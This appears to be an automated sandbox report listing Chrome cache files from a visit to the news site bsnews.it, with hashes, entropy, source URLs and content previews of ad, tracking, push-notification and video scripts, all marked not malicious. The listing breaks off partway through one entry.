URL:	https://widgets.outbrain.com/nanoWidget/externals/topics/topics.html?r=https%3A%2F%2Fbsnews.it
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <title>Outbrain Topics Frame</title>. <script>. (async () => {. const { featurePolicy } = document;. if ('browsingTopics' in document && featurePolicy && featurePolicy['allowsFeature']('browsing-topics')). try {. const params = new URLSearchParams(window.location.search);. const referrer = params.get('r');. const topics = await document.browsingTopics();. topics.length && parent.postMessage(topics, referrer);. } catch (e) {}. })();. </script>. </head>. <body>. <div></div>. </body>.</html>.

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	143800
Entropy (8bit):	5.2337182276637515
Encrypted:	false
SSDEEP:	3072:Xkqn16gOgyksF1cDP3/ivDLDMYHtUYHRfiBhv8zOqhFFrqtWRzbs:Xkqn1qgy1O/ivDLDMKtUYHRfiBhv8zOn
MD5:	864DF4457FCB0E927E77C271DBE35847
SHA1:	E1EA19D8CDB68166856ED9F26CEE7B3104AFB698
SHA-256:	2F5D1189B5A37CEF07A989825B67D8086EFEFD5B504B60AD0DA0E8464801DE5E
SHA-512:	A7C906AFF6FF9F076DAB40754335F13E0BD5CC0452ED8FA59F24EB5D43F0A57ECCA5A5B94C1FA5C870F2C590DC425EAF3F40AA074A083C6465D82CAF55FA3D71
Malicious:	false
Reputation:	low
URL:	https://cdn.adkaora.space/library/stable/adk-library-init.js
Preview:	function a0_0x5d83(_0x3a0411,_0x2c41b6){const _0x5699f6=a0_0x136e();return a0_0x5d83=function(_0x149667,_0xae9101){_0x149667=_0x149667-0x10a;let _0x136eb2=_0x5699f6[_0x149667];return _0x136eb2;},a0_0x5d83(_0x3a0411,_0x2c41b6);}(function(_0x68c0fc,_0xd03f44){const _0x448571=a0_0x5d83,_0x2e6aa0=_0x68c0fc();while(!![]){try{const _0x3d88f9=parseInt(_0x448571(0x299))/0x1(parseInt(_0x448571(0x139))/0x2)+-parseInt(_0x448571(0x3e0))/0x3(parseInt(_0x448571(0x156))/0x4)+parseInt(_0x448571(0x224))/0x5(-parseInt(_0x448571(0x360))/0x6)+parseInt(_0x448571(0x40c))/0x7+-parseInt(_0x448571(0x3a7))/0x8+parseInt(_0x448571(0x1c4))/0x9+parseInt(_0x448571(0x1e6))/0xa(parseInt(_0x448571(0x10f))/0xb);if(_0x3d88f9===_0xd03f44)break;else _0x2e6aa0['push'](_0x2e6aa0['shift']());}catch(_0x25f11c){_0x2e6aa0['push'](_0x2e6aa0['shift']());}}}(a0_0x136e,0x71065),!function(_0x4cce70,_0x130a8e){const _0xf1794f=a0_0x5d83,_0x4e575d=(function(){let _0x22db2f=!![];return function(_0x597a01,_0x43ece0){const _0x5080be=_0

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	923
Entropy (8bit):	5.414758967300569
Encrypted:	false
SSDEEP:	24:YmPdI9Q18E9C7zu1Lnz/ixvu/k144ku0BxTWKO:YmPdKllYc14tFx4
MD5:	5B2E936EC5A7E1AC660228735C936692
SHA1:	C14DCD2734B3D3741A31A6DF34B6C8DF6272528F
SHA-256:	88CCEC79AF5805169E3E778643CA51DFFAFE1D44D891F1E28298244DFBD7E159
SHA-512:	3C40FD75A8EBE3B186B3FFC560B77BB4B6BE6463054F63FD4B57D8CF9E4B5FBD2C493EF814826604B1DA57813D6F0AADE3FBBB6D4E3127B339B60C84C16E5CDE
Malicious:	false
Reputation:	low
Preview:	{"/150134580/bsnews_dsk_intro":["html",0,null,null,0,250,970,1,0,null,null,null,null,[["ID=0fa6c01cd84c5ff2:T=1711615891:RT=1711615891:S=ALNI_MZtGVZA-ZozmT1Qy1QzXLdDIEHMaA",1745311891,"/","bsnews.it",1],["UID=00000dd678036ba5:T=1711615891:RT=1711615891:S=ALNI_MYvPGxa0M2435xB7-fsiPrDcROeJg",1745311891,"/","bsnews.it",2]],null,null,null,null,null,null,null,null,null,null,null,0,null,null,null,null,null,null,"AOrYGslXqzWxZnMwa10HhsoG5C0a","CLP514nKloUDFUE3igMdJ9ANCg",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"1",null,null,null,null,null,null,null,null,null,null,null,"AA-V4qNxzLunopBSMIKuRcFZ0EB13KkjzDByZmrRCFlt2Y9QG_vH0FNV9leBa_G7N8eLfHkRbRUG-5FXPYSWCx2qIQKDNzACf2jr1dAY6qPamBwZI7tH0MIHreFfgAFQ5cW4tXpbs6QPTeBlcyneGgeX9kVFJuSHIAjODJvX_oCw9qQ",null,null,null,null,null,null,[["ID=a2ebbaa4f770cadd:T=1711615891:RT=1711615891:S=AA-AfjYceTp35ZoQmX74Qzjx-Kz3",1727167891,"/","bsnews.it"]],[]]}..

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 300x235, components 3
Category:	dropped
Size (bytes):	20757
Entropy (8bit):	7.963263845898492
Encrypted:	false
SSDEEP:	384:wwlXyPEmXQhPs1B1MORqSYEVrqLdGMaoEMAm7zOizoInjA3OfB8d9Q/Ox7tU8QC:wwMEIQNPO+EVr80cAm7HkCw9bYs
MD5:	796A67AD7229B61E4DA353820813424B
SHA1:	E7C67095B85AF6EAE8A3D3F598B6A7929BCD5A9F
SHA-256:	2F13D8F9BAF195FA30DE4621E7CFB0D2E9847EA683316C1656ED1520B4ADC384
SHA-512:	032293B83AF04A3606181124D4A72FAFCE808379A89D2D6C1EE7E177DFD0BD13E39595AB3F6F80AC3A52385AD53D7C5EEEEDC0888704617E9C9A9660297F801C
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................,.."................................................................................p...H...............P0..........=q.9..M.9..q.A.x.HP..]d...W.}.cIL.....j..N..b....X9j6qu...D$)...K.).u+...Kn.-..zLIy..\9...............k...m..b......x.....J.C....E..W@............[WG'..Q=....8.-+..q....T..r.<.s...3..n....B...3.5........K.3......K...{!Q1.!I..K........A.@D..\.1..._.b.:x..s..;.LWD.c..0.W.....ny..X...=..............~z.y..........~z.y..@..y.t....F}Y..gz.xy,.K]..,.v..G?..D....G.....V.~z.K.....^,H<'..bd..I.D....n......l...dQ;f.3.]...e...V....~J..+......io9.V.)..i.=h...%..P.T......6...F..b..W..\...D..B].!5^....Z3.&'.R........fG..%...r..I..y......X(.y.K.5p..f".iXm..D..\|..!&.^VYtMr.......}v#=.)).. ....2:...dt...S.d.L.8.J\|...u%.,..../.+..j.....`.......c..69....M.....R.-......V.-. ~g.i{rk.j..W

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4873), with no line terminators
Category:	downloaded
Size (bytes):	4879
Entropy (8bit):	5.17402304145399
Encrypted:	false
SSDEEP:	96:7y8KaRFgfRFgtc0rQRFmychP0BKKaRFgd9sRFgtc0rQRFmr7ED514QGM:AaRuR/0rQRTcd0BpaRm9sR/0rQRJzb
MD5:	3283213E76FFAABF8606E4CB40F7F0D3
SHA1:	14921CBEAD60D98CA8D5675190B7A2462E2F758B
SHA-256:	92614B25244F5831FFA83091FC94526566C522045BBF7E66C42E60A10C607225
SHA-512:	B918D36ECBBC25AF4E14D7F4AB54933EF25D85A4FC78E0BC9A3449D870C262269B8E9E40CC98E13D5EAF9D0EA438284F464FAB5170AD924DF83727DC7122AD02
Malicious:	false
Reputation:	low
URL:	https://onesignal.com/api/v1/sync/311012f7-94f1-418c-abe0-3336ba01758e/web?callback=__jp0
Preview:	__jp0({"success":true,"app_id":"311012f7-94f1-418c-abe0-3336ba01758e","version":2,"features":{"restrict_origin":{"enable":false},"cookie_sync":{"enable":false},"metrics":{"enable":true,"mixpanel_reporting_token":"7c2582e45a6ecf1501aa3ca7887f3673"},"enable_on_session":false,"web_on_focus_enabled":true,"session_threshold":30},"config":{"prompts":{"slidedown":{"enabled":true,"autoPrompt":true,"acceptButton":"S. GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","customizeTextEnabled":true,"prompts":[{"enabled":true,"text":{"customizationEnabled":true,"acceptButton":"S. GRAZIE","cancelButton":"NO","actionMessage":"Vuoi ricevere gli ultimi aggiornamenti di BsNews.it su Brescia e provincia? E' gratis!","confirmMessage":null},"type":"push","delay":{"pageViews":null,"timeDelay":null},"autoPrompt":true,"icon":"https://www.filepicker.io/api/file/zZcIrfbTvvyOYUqKAGOA"}]},"fullscreen":{"title":"Esempio notizia","ca

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/dot.gif?gdpr=0
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15853), with no line terminators
Category:	downloaded
Size (bytes):	15853
Entropy (8bit):	5.284967220379556
Encrypted:	false
SSDEEP:	384:4qiXbAZWAmnBmlpyvm98Jkue9yOhQwDeuxeTYuACA1syrA:hiXbAZJmBmlpyvm98JkuegOhQPuxeEuD
MD5:	16D950CDAEC2390692C6D03F82DDD9F0
SHA1:	4B3068B23B8FC19F3490E4F29849F490A0CF11D5
SHA-256:	3542F1B1FAFE81178D69D444B82F4CE35383F08696440A84BE2DF20B74FABC3A
SHA-512:	0CEBDCABD068CCCAC214217E03502510AC4FAA7E7D51D0CD86C265340942404F1E9CB62E272E1B3B24EEA7C6D26C4A392213580CC1EC22C71F00AC74B24D9326
Malicious:	false
Reputation:	low
URL:	https://cdn.codesour.com/codesour/bsnews/922.prod.js
Preview:	(self.webpackChunksour=self.webpackChunksour\|\|[]).push([[922],{988:(e,t,n)=>{"use strict";n.d(t,{C:()=>r});var o=n(845);const{LoggerSour:i}=o.t,s=new i("DOM Manager"),r={createDOMElement:l,createDivAndAppend:c,createPlaceHolderAndStyle:d,checkPageSelectors:u,insertAfter:a,getMaxHeight:g,appendScriptForDiv:function(e,t="stdunit"){if(!e)return;t\|\|(t="stdunit");const n="<span class='sour-scripts-"+t+"'>"+unescape(e)+"</span>";var o=document.createRange();o.selectNode(document.getElementsByTagName("body")[0]);var i=o.createContextualFragment(n);document.body.appendChild(i),s.log("Adding script for "+t)},initPlaceholderSlot:function(e){let{gsizes:t,code:n,createElementMode:o,createElementSelector:i,minWidth:r,maxWidth:a,pageSelectors:c}=e;if(r\|\|a){var g=window.innerWidth;if(r&&g<r)return!1;if(a&&g>a)return!1}if(c&&"null"!==c&&!u(c))return s.log("pageSelectors "+c+" not found!"),!1;if(o&&i)l(e);else if(null==document.getElementById(n))return null;return null===e.placeholder&&(e.placeholder=!

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	501
Entropy (8bit):	4.775286072622197
Encrypted:	false
SSDEEP:	12:hzELBwjn76ElpzDYlP0BSkZBFhRy1EdYoQb:hUkrpzDY10BjZBFhIOy
MD5:	24A36B75AF2F3D53742372667F825E0B
SHA1:	93EC71B8A1FB870D866A18C39C803DC695B0681C
SHA-256:	E62B8B119CAA0ED9292EC3E2BE4E108E253AD5FBE13BE2AEEA83CF073AA7BA43
SHA-512:	D1A6A52D1285EB95A6E519599CA3D85F78C290E76065A8D1DBC07895DAFA4628F8E7F1B1063CDAAB2AE5B9E2FC93F059DC42DA66A2A60AC72D17AFE5C6255978
Malicious:	false
Reputation:	low
URL:	https://bsnews.os.tc/webPushIframe
Preview:	<!DOCTYPE html>..<html>. <head>. <script src="https://cdn.onesignal.com/sdks/OneSignalSDK.js" async></script>. <script>. var OneSignal = OneSignal \|\| [];. OneSignal.push(function() {. OneSignal._initHttp({. appId: "311012f7-94f1-418c-abe0-3336ba01758e",. subdomainName: "bsnews",. origin: "http://www.bsnews.it",. siteName: "BsNews.it",. });. });. </script>. </head>. <body>. </body>.</html>

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (656)
Category:	downloaded
Size (bytes):	675
Entropy (8bit):	5.400579009434646
Encrypted:	false
SSDEEP:	12:U7Dlf8IBbRT79+THoYHGbvbUBRMNH5Y2PqHc4u6M+xFxT2JtfCYKO+kFl+pfVfCW:WDlf8EgoJbTQcqqC0nKO+kFlSnKbEOMn
MD5:	D27820907E718D5ACB3C69037138B84F
SHA1:	A5DF9FABA18AF6CB93AC994F79E374CB0A6D5308
SHA-256:	398AFF429DC9B1B8CEAB07D005B90193E230F5DEB0AE8DEA350CB1E42D70EF9E
SHA-512:	9E7BE28B42800FA49EF8EA5014AE2E50284C0AA61191223A2F86211762C193BA8A5337BAE2CCA0C9076785B89BBEE87CD324033A95FC36E4711334584831E29E
Malicious:	false
Reputation:	low
URL:	https://aax.amazon-adsystem.com/e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=0&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF%22%2C%22s%22%3A%5B%22300x600%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%7D%7D
Preview:	/* aax response */.apstag.bids({"slots":[{"targeting":["amzniid","amznp","amznsz","amznbid","amznactt"],"fif":"1","amzniid":"JN4DjSDaVI4Pxl_uXYENjVEAAAGOhEHcFwEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICBHLOLb","size":"300x600","crid":"2236221","meta":["slotID","mediaType","size"],"amznactt":"OPEN","amznsz":"300x600","slotID":"div-gpt-ad-BSNEWS-DSK-Spalla-dx-300X600-ATF","amznp":"1arrojk","mediaType":"d","amznbid":"dom3nk"}],"host":"https://aax-us-east.amazon-adsystem.com","cfe":true,"ev":true,"cfn":"bao-csm/direct/csm_othersv5.js","status":"ok","cb":"0","cmp":"https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=gg_pm-db5_rbd_smrt_an-db5_sovrn_3lift"})

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	8151
Entropy (8bit):	7.911344447703621
Encrypted:	false
SSDEEP:	192:67oNJXXG4MsRBYu6bnYU3ybFTtTJPBjkPG9ho1Rx:6cdGrsRBJ6j93ybFTtNPBjmvx
MD5:	59E0ADDBFB070516AA2F9553BDA15FA2
SHA1:	D04C9AC39463AC625FBD387A5203953DACCA0C58
SHA-256:	0D49F836C0658EE94AB47ACB3B3B14FC8FFE7ABC9C8DF8E76268D20928C82941
SHA-512:	58D1B3AF184C3BC5CEBD43545E750CF804FFF3EB958BA4D31D097073D50DC0A765B3FC73CFC67E9AEAB5AAFB99318DCA0680B0D68B5407A12F198509B59A33D1
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D.."...............................................................................:.3...%..D$...`;.N.... .oB....B.......9....f.. .....,.5H9.e...$...{...q...l....[..\|.4.h.m.....)C6..i.....n.[^.[.i.G...F5.7dt.Sv4.\.y&P.Z...$..M..O..:..%E...A.%4,..:._7.Mwg..L........g..37O.mg.Q.{<}\|.>.n..3..hN. .1..M..j..R#O:#...W5.TX4..X..4u..r.e.]......l.X!._<....y...T...>f./LBQ7Ld.+Fp..I.;M6N."@.L.H..0...=].....1.6...#.=O.... ...K.5n.T..f.'d.D...ti.r.9.7.z..k.c%..I&.(M49....>..a..vZ.....N..Yf...)L/&L.<..<..m.g..Z.._#.@..1`....S.{=.....V.j........M#......R+..Z.!7..J.[.....IJ.XL..._..o6.sl.ho..'I.....@;......#...c..y...&....6...,.@...y.l.-.3Ue..,i.]gW..=.4U4.=.......7).\$.;..W2.S.......V...".b...-2.w.rj.w.....(N....W&...Kr.......b.c.'..f.R...........s.I..'@../............a{~W...@sE.'.........n.i..k)B..z.#[..

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (692), with no line terminators
Category:	downloaded
Size (bytes):	692
Entropy (8bit):	5.424673665242702
Encrypted:	false
SSDEEP:	12:C3LTm9wyzHc413iRArBHc413TGxz6LkBHca313Z2MUmQBHc4PkDp:CO+yzN1OaBN1DG9bBP1JTrQBNKp
MD5:	F26776F8B78E7B553B7A5057697F4A57
SHA1:	F49806946CE4CA7772D124D0166D051D0872D068
SHA-256:	5EB0457277FF793DD63C4D1BC8CBAFF973AA9937B62F9F070B3C62FB09E65BC6
SHA-512:	2BEA5031AA11C9FECD0A992786B4C4F4A9C675317FFD5385B5E0720FC3F90C8E765AA2A14D68DD25A0F4C0BCC7870BCA29EA461E36219F3B9CFF935342E362D3
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=32674349&p=162412&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}
Preview:	PubMatic.loadAsyncImagePixel('https://synchroscript.deliveryengine.adswizz.com/syncMe?partnerDomain=mrtnsvr.com&idType=cookie&partnerUserId=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://idsync.rlcdn.com/712188.gif?partner_uid=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://bcp.crwdcntrl.net/map/c=14701/tp=MTAI/tpid=01F5328A-C4D9-44AD-8468-60A885247C68/gdpr=0/gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3203&partner_device_id=01F5328A-C4D9-44AD-8468-60A885247C68&gdpr=0&gdpr_consent=');PubMatic.PugMasterCallback(false, false, true);

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	156
Entropy (8bit):	5.145760679283741
Encrypted:	false
SSDEEP:	3:vFWWMNHU8LdgCfpxIJikViJS4RKbuviyiFdfxcXl/OxuGQHRRAvn:TMVBd/faVic4subinfSlmSRRAv
MD5:	97D2E3C075A4EA1F775CCE418FDE177D
SHA1:	C52809A609DDC6A93BC3F2D934954AEF1A1CEC7D
SHA-256:	8CD629187427FDB93787D7156BE7A32C391BB2A8DA471BBAA274E806E48B36E7
SHA-512:	C3ECE0C86DDB1B546B503F2DF4309CCE64892113B64B15DAC2C5B7E9AB62D925DD3BA78C1AD2303AEF07D5233A11A0CC94E21A5A4264CE0A1D945F7BA3B34B03
Malicious:	false
Reputation:	low
URL:	https://pubads.g.doubleclick.net/gampad/ads?iu=%2F211003152%2C22653975935%2Fom_MovingUp_TEST_TargetCPM&description_url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&tfcd=0&npa=0&sz=1x1%7C400x300%7C640x360%7C640x480&gdfp_req=1&output=xml_vast4&unviewed_position_start=1&env=vp&correlator=622708487231388&plcmt=2&vpmute=1&vpa=auto&sdkv=h.3.629.1&osd=2&frm=0&vis=1&sdr=1&hl=en&is_amp=0&u_so=l&ctv=0&mpt=videojs-ima&sdki=445&ptt=20&adk=2044940861&sdk_apis=2%2C7%2C8&omid_p=Google1%2Fh.3.629.1&sid=EA12B335-679C-4E34-97A5-679AE24DB35E&a3p=EhwKDWNyd2RjbnRybC5uZXQYluSGougxSABSAghkEhsKDDMzYWNyb3NzLmNvbRiW5Iai6DFIAFICCGQSGQoKcHViY2lkLm9yZxiW5Iai6DFIAFICCGQSGAoJeWFob28uY29tGJbkhqLoMUgAUgIIZBIXCghydGJob3VzZRiW5Iai6DFIAFICCGQSGQoKdWlkYXBpLmNvbRiW5Iai6DFIAFICCGQSFAoFb3BlbngYluSGougxSABSAghkEh0KDmVzcC5jcml0ZW8uY29tGJbkhqLoMUgAUgIIZA..&nel=1&eid=418572006%2C44772139%2C44776495%2C44777649%2C44781409%2C44806074%2C95321947%2C95322027%2C95323893%2C95324128%2C95326337&url=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&dt=1711615901063&cookie=ID%3D5a20f3698ac5543a%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MYxr-qOKKEIyYFaKb9mH1zNwZzizw&gpic=UID%3D00000dd677e4c409%3AT%3D1711615883%3ART%3D1711615883%3AS%3DALNI_MaPd99p4hleXn7g9hP9Umghtsik5A&scor=21004739623209&ged=timeout
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<VAST xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="vast.xsd" version="4.0"/>.

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	269
Entropy (8bit):	5.235195150873638
Encrypted:	false
SSDEEP:	6:hn8FQiowadCc4svmzsMX5mBQLzLcIjEdxvAqJmW/upLV4HX4QL:hnMQbwuO4M2e4xYqJmWeV4IQL
MD5:	C7B1A96E4676C76C0240D4A835FB7252
SHA1:	8A4DE304873BB5A8C11DD86B86CC8B8356BAD8B5
SHA-256:	E4DF52D49C57BC3E7158CB052CC05C60F1258C24DE5C5728DAC5D43272943AD9
SHA-512:	349FE7702C3A1355026D9051B3BDF4143358A34A416DF67099E7FA16CACD72270E40DAF59C24C1FE0C6705F91AEDABD0E9D8298985E6A3BF9F133C08DC07AD86
Malicious:	false
Reputation:	low
URL:	https://eus.rubiconproject.com/usync.html?p=rise_engage&endpoint=us-east
Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (60658)
Category:	downloaded
Size (bytes):	323765
Entropy (8bit):	5.3416635143146864
Encrypted:	false
SSDEEP:	3072:wFeB3BGlrDZxAbUGw76dabTBVqsSt6UgB0ByUwZGxcZdCsROnb:wMt8VDZnmdabTTq5tkB08UwZGyZdib
MD5:	D9A3EE06FF563BD915ABD3323CF3453C
SHA1:	4FCA7BC832E5E6D98BA81996DEB1EC4896BA9010
SHA-256:	A34B4516CF4A3B4275E896B20D918FCDF51186F2840D9CC5B3320B394EE6AFBC
SHA-512:	9500F9E219CF84381BEE44F2AA023B488386C1B7A4235483A3AB02DA8FD3DD635B33D896C4EC555131F866256051FB9925357A7FAAC15D1736F548F573F04931
Malicious:	false
Reputation:	low
URL:	https://www.digistream.it/wp-content/plugins/digistream/digiplayer/js/videojs-http-streaming.min.js?ver=1.1.17
Preview:	/! @name @videojs/http-streaming @version 2.16.2 @license Apache-2.0 /.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports,require("video.js"),require("@xmldom/xmldom")):"function"==typeof define&&define.amd?define(["exports","video.js","@xmldom/xmldom"],t):t((e="undefined"!=typeof globalThis?globalThis:e\|\|self).httpStreaming={},e.videojs,e.window)}(this,(function(e,t,i){"use strict";function n(e){return e&&"object"==typeof e&&"default"in e?e:{default:e}}var r=n(t);function a(e,t,i){return e(i={path:t,exports:{},require:function(e,t){return function(){throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs")}(null==t&&i.path)}},i.exports),i.exports}var s=a((function(e){e.exports=function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e},e.exports.default=e.exports,e.exports.__esModule=!0})),o=a((function(e){function t(i,n){return e.exports=t=Object.setPrototypeOf\|

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 35
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.243970276791258
Encrypted:	false
SSDEEP:	3:FttfEsU/ei9zWC:Xtsei9zL
MD5:	9FA9171727EAD2F03FB9780105363EC9
SHA1:	306BBD2700324C1BBC2796BAAB7A0F03E025AD28
SHA-256:	9245BE042B001FDC3E68396FB9DAD950AA68BF747B9B4D7DC1F2EAD8ABB9D8EE
SHA-512:	E578AFC98130B8412CF8FAF19C461BA61F2E80A5AADCBE6810EE9B4E157D967D1B01E8E9E89BB58D3081B29D4BF33A9545C88556E42320B75C77E1B2BCE93FD2
Malicious:	false
Reputation:	low
Preview:	..........r.t..Ldd`dh```eaa``.a```..001.02X........>.#...

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3242), with no line terminators
Category:	downloaded
Size (bytes):	3242
Entropy (8bit):	4.994321877320672
Encrypted:	false
SSDEEP:	96:hivueDxkRZmd3ENFiHmLjQkgop3s/Ko4L4UnWNnzztSRwxf:hivbDxkZmVENFiHmLjQkgop8/Ko4L4U6
MD5:	92A77854E7BE2F0CF4350123ADF6E4D2
SHA1:	8AC459501BF94DEB660DDD844AC0B825F169B9AE
SHA-256:	03D87F337BB68D971D9FDB8ED746C0AB6F4008E6060E63ED67057F444A05A6A6
SHA-512:	D910D91FABEB42E6F4B629E8E9B060F005B68C4C5D90C5CF193195024632FCCD4EA1C92E66C459CF7EFE29B58E6F3040C47BC26384C31795B7747AF74D263BDC
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/wp-polls/polls-js.js?ver=2.77.2
Preview:	function poll_vote(l){jQuery(document).ready(function(o){poll_answer_id="",poll_multiple_ans=0,poll_multiple_ans_count=0,o("#poll_multiple_ans_"+l).length&&(poll_multiple_ans=parseInt(o("#poll_multiple_ans_"+l).val())),o("#polls_form_"+l+" input:checkbox, #polls_form_"+l+" input:radio, #polls_form_"+l+" option").each(function(l){(o(this).is(":checked")\|\|o(this).is(":selected"))&&(poll_multiple_ans>0?(poll_answer_id=o(this).val()+","+poll_answer_id,poll_multiple_ans_count++):poll_answer_id=parseInt(o(this).val()))}),poll_multiple_ans>0?poll_multiple_ans_count>0&&poll_multiple_ans_count<=poll_multiple_ans?(poll_answer_id=poll_answer_id.substring(0,poll_answer_id.length-1),poll_process(l,poll_answer_id)):0==poll_multiple_ans_count?alert(pollsL10n.text_valid):alert(pollsL10n.text_multiple+" "+poll_multiple_ans):poll_answer_id>0?poll_process(l,poll_answer_id):alert(pollsL10n.text_valid)})}function poll_process(l,o){jQuery(document).ready(function(s){poll_nonce=s("#poll_"+l+"_nonce").val(),p

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	74
Entropy (8bit):	3.9335493593822894
Encrypted:	false
SSDEEP:	3:YEqiXRH5LKxVJsJXNypVJN8Law+AXQ6:YEqiBZLKx7777g
MD5:	2A1B38B01484DFEC8AB529157A5CC82A
SHA1:	071F9E9A0128D6958B9E4EDA9BBCE97CD166519D
SHA-256:	788BB64DE84475786D4FC3929F48FEB7F307B4082C3C462E217828D25DC2BE2E
